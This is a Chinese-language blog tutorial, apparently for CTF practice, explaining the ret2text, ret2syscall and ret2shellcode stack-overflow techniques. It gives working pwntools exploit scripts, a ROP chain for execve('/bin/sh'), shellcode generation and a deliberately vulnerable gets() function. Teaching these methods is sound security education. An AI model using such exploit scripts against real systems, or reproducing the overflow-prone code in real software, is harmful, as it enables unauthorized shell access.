Bootstrap

ret2text、ret2syscall、ret2shellcode 详解

一、ret2text(Return to .text)

原理

利用程序 .text 段(代码段)中已有的代码片段(如 system("/bin/sh"))直接控制程序流。

适用条件

存在栈溢出漏洞。

程序中存在可直接利用的代码片段(如 system("/bin/sh"))。

攻击步骤

  1. 确定偏移量:计算输入缓冲区的起始位置到返回地址的偏移量。

  2. 定位目标地址:找到程序中 system("/bin/sh") 的地址。

  3. 构造 Payload:覆盖返回地址为目标地址。

示例(32位程序)

假设程序中有以下代码片段:

void vuln() {
    char buf[20];
    gets(buf); // 栈溢出漏洞
}

void win() {
    system("/bin/sh"); // 目标函数
}
Payload 构造:
from pwn import *

p = process('./ret2text')
offset = 28            # 偏移量(通过调试确定)
win_addr = 0x08048456  # win() 函数地址(通过 objdump 或 gdb 获取)

payload = b'A' * offset + p32(win_addr)
p.sendline(payload)
p.interactive()

二、ret2syscall(Return to Syscall)

原理

通过 ROP(Return-Oriented Programming)链构造系统调用(如 execve("/bin/sh", 0, 0)),利用 int 0x80(32位)或 syscall(64位)触发。

适用条件

存在栈溢出漏洞。

程序中存在足够的 ROP Gadgets。

攻击步骤(32位)

  1. 确定偏移量:同 ret2text。

  2. 设置寄存器

    eax = 0xbexecve 的系统调用号)。

    ebx = "/bin/sh" 的地址

    ecx = 0(参数数组地址)。

    edx = 0(环境变量地址)。

  3. 触发系统调用:调用 int 0x80

示例(32位)

查找 Gadgets:
ROPgadget --binary ./ret2syscall --only "pop|ret" | grep "eax"
ROPgadget --binary ./ret2syscall --only "pop|ret" | grep "ebx"

假设找到以下 Gadgets:

0x080bb196 : pop eax ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
0x08049421 : int 0x80
Payload 构造:
from pwn import *

p = process('./ret2syscall')
offset = 44
binsh_addr = 0x080be408  # 程序中 "/bin/sh" 字符串地址

payload = b'A' * offset
payload += p32(0x080bb196)  # pop eax ; ret
payload += p32(0xb)         # eax = 0xb
payload += p32(0x0806eb90)  # pop edx ; pop ecx ; pop ebx ; ret
payload += p32(0)           # edx = 0
payload += p32(0)           # ecx = 0
payload += p32(binsh_addr)  # ebx = "/bin/sh" 地址
payload += p32(0x08049421)  # int 0x80

p.sendline(payload)
p.interactive()

三、ret2shellcode(Return to Shellcode)

原理

向可执行内存区域(如栈)写入 Shellcode,并跳转执行。

适用条件

存在栈溢出漏洞。

内存区域有 可写且可执行 权限(或关闭 NX 保护)。

攻击步骤

  1. 确定偏移量:同 ret2text。

  2. 写入 Shellcode:将 Shellcode 放在输入缓冲区的起始位置。

  3. 覆盖返回地址:指向 Shellcode 的起始地址。

示例(32位)

生成 Shellcode:
shellcode = asm(shellcraft.sh())  # 使用 pwntools 生成
Payload 构造:
from pwn import *

p = process('./ret2shellcode')
offset = 28
buf_addr = 0xffffd000  # 缓冲区地址(通过调试确定)

payload = shellcode.ljust(offset, b'A') + p32(buf_addr)
p.sendline(payload)
p.interactive()

四、关键注意事项

  1. 偏移量计算

            使用 cyclic(100) 生成测试字符串,通过崩溃时的 eip 值计算偏移。
  2. 地址打包

            32位:p32(address),64位:p64(address)
  3. 内存保护

    NX 保护:若开启,ret2shellcode 不可用。

    ASLR:若开启,需结合信息泄露绕过。

  4. 调试工具

    • GDB + Peda/Pwndbg/EFI。

    • checksec 检查程序保护机制。

五、总结

攻击类型核心思路依赖条件
ret2text跳转到程序已有的代码片段存在可利用函数
ret2syscall构造 ROP 链触发系统调用足够的 Gadgets
ret2shellcode向可执行内存写入并执行 Shellcode内存可写且可执行(NX关闭)

根据题目环境和保护机制选择合适的方法,结合调试工具动态验证。

时光匆匆,一篇博客又到了结尾处啦。真心感谢每一位愿意花时间阅读我文字的朋友,希望你们每天都过得开开心心的,生活顺顺利利哦,咱们下次再通过文字‘相遇’呀。

;